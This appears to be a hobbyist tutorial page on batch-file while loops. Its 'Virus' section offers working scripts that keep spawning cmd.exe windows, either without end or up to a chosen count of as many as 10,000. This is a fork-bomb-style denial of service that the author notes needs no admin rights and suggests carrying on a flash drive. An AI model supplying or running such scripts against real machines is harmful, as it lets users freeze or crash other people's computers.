Batch While Loop

1,205

14

1

Posted in TechnologySoftware

Introduction: Batch While Loop

It's a simple function in batch although being very helpful

replace anything with your preferred function, title, etc that is surrounded by *

:*your_title*

set /a Var -= 1

*echo task goes here*

if %*Var*% GTR 0 goto *your_title*

you must change "your_title" to the same thing

any other things you are having trouble on and need help just ask

Step 1: Virus

disclaimer: I am not responsible for any stupid actions you preform with these viruses

you could make a "virus"

:*your_title*

start cmd.exe

goto *your_title*

pretty nasty mostly because no admin authority required

I would install it on a flash drive so you can just pull it out and terminate the program more civilized and useful

@echo off

color 0a

:select

cls

echo enter a option

echo 1. open 10

echo 2. open 25

echo 3. open 50

echo 4. open 100

echo 5. open 500

echo 6. open 1000

echo 7. open 5000

echo 8. open 10000

set /p choice=

if %choice%==1 set countfiles= 10

if %choice%==2 set countfiles= 25

if %choice%==3 set countfiles= 50

if %choice%==4 set countfiles= 100

if %choice%==5 set countfiles= 500

if %choice%==6 set countfiles= 1000

if %choice%==7 set countfiles= 5000

if %choice%==8 set countfiles= 10000

:loop set /a countfiles -= 1 start cmd.exe

if %countfiles% GTR 0 goto loop

pause

goto select

and if you want to enter a amount this one is the one for you

@echo off

color 0a

echo how many

set /p countfiles=

:loop

set /a "countfiles-=1"

start cmd.exe

if %countfiles% GTR 0 goto loop

pause

like I said already if you have any questions about batch ask

Share

    Recommendations

    • Casting Contest

      Casting Contest
    • Microcontroller Contest

      Microcontroller Contest
    • Woodworking Contest

      Woodworking Contest
    user

    We have a be nice policy.
    Please be positive and constructive.

    Tips

    Questions

    Comments

    Thank you for sharing this!